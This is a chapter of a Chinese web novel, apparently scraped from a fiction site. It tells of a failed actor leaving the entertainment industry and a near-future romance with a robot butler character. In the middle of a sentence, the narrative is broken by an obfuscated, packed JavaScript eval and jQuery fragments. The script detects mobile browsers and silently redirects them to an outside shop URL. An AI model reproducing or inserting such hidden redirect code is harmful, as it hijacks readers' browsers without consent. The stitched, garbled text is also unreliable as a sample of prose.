梦绎手里拿着妈妈硬塞过来的存折,他哽咽住一句话都说不出来,更让他羞愧的是他说不出来拒绝的话,因为他真的需要这笔钱。
于是梦绎决定限定一段时间再给自己最后一次机会,他不能真的为了梦想堵到一无所有,他的同学们,同龄人们都在向前,他不能总在原地打转…
在群星荟萃的大厅里梦绎举着奖杯站在C位,笑容满面地跟大家合影,下一秒所有的人都不见了,包括他手里的奖杯。他很狼狈地在裂开的赤色峡谷中四处张望,万籁俱寂头顶唯有蓝到空灵的天。
梦绎低下头,才发现脚下踩的地面布满了他看不懂的语言文字,像某种诅咒,让他有着深深的恐惧。
这是梦绎第N次试戏失败当天晚上做的梦,第二天早上醒来,他先是坐起来努力回想着昨晚的梦,直到想起来每一个细节,梦绎才缓过神来动了动,就好像整个人的魂儿刚飘回来一样。
他觉得自己不能再这样了,在希望和失望间反复跳跃,如果再这样下去,梦绎觉得他整个人会废掉,而他没有让自己废掉的资本。
接下来他想到的是一年的房租就要到期了,要不要续租的问题。
这一次他很快做出了决定,不续租,剩下的这段时间梦绎准备带着所剩不多的积蓄先回父母家,然后踏踏实实地转行找工作。
这次的试戏马哥一反往常拍着胸脯告诉梦绎绝对没问题,如果是以前梦绎一定不会考虑这种只为吸引眼球的劣质剧还有不能拿到台面上来说的手段。
但他不得不承认流量确实能赚钱这件事,于是对于最后一次机会梦绎给了自己第一次的妥协。
当得知试戏的结果最终还是落选后,梦绎竟然觉得松了一口气,就好像解脱一样。
对比明显的倒是马哥,马哥气不过这种收钱不办事儿还把他当孙子遛的做法,大闹了一场,在整个圈子里都被传得沸沸扬扬。
梦绎这次连原因都不想问了,碰壁了太多次他竟然有种习以为常的感觉。
能让马哥这样的人气恼成如此的,原因估计跟之前的大差不差,被老熟人打了招呼,使了绊子,要么就是抢了机会。
很明显对方不把梦绎和马哥彻底踢出这个行业是不会善罢甘休的。
梦绎不明白马哥和他曾经作为朋友的合伙人有什么深仇大恨要如此撕破脸,而且对方还不想给他们留活路。
就像梦绎不明白为什么有钱不能大家一起赚,有才华的人不可以都被人看见一样。
说到底都是为了钱和利益,但是这样做良心真的不会痛吗?真的就能心安理得的享受成功带来的喜悦和优越感吗?
这样看来梦绎觉得自己真的不适合娱乐圈,及时止损,适时退出对他来说也许是一件好事,是一种重生。
梦绎的大学同学有混得不错的,本着熟人好办事还有老同学间的情谊,梦绎拉下脸拜托对方帮自己留意下找工作的事情。
结果隔了几天没等到什么回复不说,还从另一个朋友那儿得知这人把梦绎混得如何如何惨在同学间传了个遍。
“真搞笑,本来要去当大明星的人现在娱乐圈儿混不下去了,想捡起来专业干老本行儿。这一扔就是好几年,他哪有相关经验啊,工作经验总不能写当过几年花架子的小明星吧!当时心比天高不稀得做普通人,现在却想赚普通人的钱,哪有这样的好事?!”
“梦绎,我说那谁也太不是个东西了,你上大学的时候可没少帮他,要不是你,这小子恐怕挂科挂到不能毕业吧。别人求你帮忙,不帮就算了,但这孙子应下了然后背后还阴阳你,以为自己现在行了,真不是个东西!梦绎你别急,我身边要是有合适的岗位我帮你留意着,我们公司最近也在裁员,薪资待遇也大不如从前,事多钱少,我还在想着跳槽的事情呢,要不然我就内推你来我们公司了。”
梦绎:“没事儿,我也没抱太大希望,广撒网嘛,总比我自己两眼一黑强。他爱说什么就说什么吧。愿意相信的人怎么都会相信,不信的人怎么也不会相信,再说他说的也不全错,也是事实。”
梦绎丝毫不怀疑现在的自己已经被当作反面教材,被一些人添油加醋当作茶余饭后的八卦来讲,就像大多数人对于成功只看成功的结果一样,对于失败也只看失败的结果,没有人在意历经的过程。
所以当天梦绎就告诉房东不再续租了,也决定好晚些时候跟马哥两个人一起吃个散伙饭,好好道个别,他相信以马哥的性格和人品绝对不会为难他…
第二天许小杏还赖在床上的时候被门铃吵醒,昨晚她没少恶补梦绎的物料,许小杏连睁开眼通过信息墙,看门外的人是谁的力气都懒得用。
许小杏家的大门自动识别到了邶珀,许小杏在嘴里嘟囔着“邶珀,让我再睡一会儿,等下再给我发布任务卡,你自己直接进来吧,我家大门的密码是…”
过了一会儿许小杏闻着早餐味儿鼻子肚子带着人起来了,她也不好意思让邶珀等自己太久。许小杏穿着宽松的睡衣,顶着鸡窝头睡眼惺忪地从房间里走了出来。
等到她看见客厅里的人,整个人都傻眼了,她使劲儿地搓了搓自己的眼睛,又确认了下时间是早上7点,带着难以置信的口吻“你怎么在我家?”脑海中随之想起了邵以年昨晚给她发的消息“明天见”。
邵以年看起来还有点儿强制开机的痕迹,他等许小杏的时候两只手交叠垫着下巴趴在餐桌上,眼皮也还在打架。
旁边放着买的双人早餐,邶珀做了保温处理,刚买的时候是什么样的,现在还是什么样子。
邵以年一动没动,很明显是在等许小杏起床后一起吃早餐。应该是想弥补上次因为迟到留给许小杏的坏印象。
许小杏用很不可思议的目光打量着他,实在想不明白这大少爷为什么要这么折腾自己还有邶珀,难道就为了跟她吃顿早饭?
托邵以年的福,邶珀平时也很少早起,能做一个晚起床的机器人,邵以年对他还算不错,跟其他的随身智能机器人管家比,不用24h待命,也不用一直围着邵以年转。
邵以年当年读冀文思的时候,别的学生都带随身智能机器人管家上学,但是从来没有人看见过邶珀的影子,因为邵以年豪放地给邶珀直接放了个长达到他毕业的假。
邶珀在这种福利上主打一个听话,怕邵以年反悔当天晚上就给自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551816|203701||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
安排了出国旅行,断开了跟邵以年所有的联系方式。邶珀想着这是一个很好的方式,能治愈他丧丧的气质,但没想到邶珀旅行归来还是那个丧丧的邶珀。
不过总的来说,给邵以年打工钱多事少,吃得好,睡得饱,就是工作内容比较刺激,其他挑不出来什么大毛病。
前几天邵以年自己起不来,让邶珀早起去见许小杏。但今天让邶珀都没想到的是邵以年跟抽了风一样硬拉他一起早起。
邶珀一睁眼看见的是邵以年,以为自己还在做梦,在梦里见到了自己的主人,差一点儿就给邵以年直接来了一拳。
“要不你今天自己去找小杏?”上次有不少东西需要带,而且邶珀也是第一次见许小杏,但这一次邶珀实在找不到自己要早起去见许小杏的理由,估计许小杏见了他俩也找不到他们早起见她的理由。
“我想给她一个惊喜。”邵以年拉着邶珀的手撒娇地冲他挤眉弄眼,邶珀一瞬间觉得自己脏了,索性他不想继续脏下去,于是甩开手马上答应了今天这个作为惊喜NPC的任务,再怎么想也总比让他去色诱谁要强一万倍。
但邶珀没想到邵以年的惊喜这么逊,就只是让许小杏以为他没来,然后来个大变活人,再拉着人家一起吃早餐,也不知道他这位很能作的主人,这位作主想表达什么。
结果来得不是时候,许小杏因为不明原因还没有起床,弄得自己没睡好,别人也没睡好,扰了3个人的美梦。
“邶珀,我的宝邶珀,你在小杏睡醒之前吃完早饭然后就…走,行不行?”
邶珀用自己那独有的丧式震惊看着邵以年,心里想着这小子说的是人话吗?虽然他明白NPC完成任务就该退场的道理。
邶珀:“算了不麻烦,我的那份本来就单独打包好了,我回去的路上慢慢吃。”
邶珀特意强调了“慢慢”这两个字。
邵以年秒懂:“回去补个觉,今天放你一天假,宝邶珀。”
邶珀心想着算你小子有良心,至于称呼,邶珀早就习惯了,邵以年爱叫他什么叫什么,管它是宝邶珀还是破宝贝。
邵以年看见许小杏醒了以后,整个人立马精神了,说实话他也不明白自己作为一个常年起床困难户,竟然能起个大早只为了来跟许小杏一起吃早饭。
如果他小叔邵厉知道这样可以让他早起,估计邵家早餐的大门每天都会朝许小杏敞开。
邵以年说不清楚原因,他只知道像现在这样光是看着许小杏吃饭,心里就只有开心和满足。
……
剪彩仪式上,邵厉、邵以年和梦绎并排而站,三种气质却也是三倍养眼的男人们。
梦绎现场的粉丝非常热情,人山人海,追星这件事情在什么时代都很盛行,当然每个时代也有自己独特的方式和特点。
这个时代因为有了空间信息墙的存在,让追星这件事情能够更好的跟日常生活兼容,减少了在公共场所对其他人的影响。
空间信息墙可以直接帮助追星的友友们拍摄记录美好瞬间,不需要外带其他设备,满足了所有的拍摄需求,而且无论粉丝在哪个位置,远还是近,都能全方位各角度记录。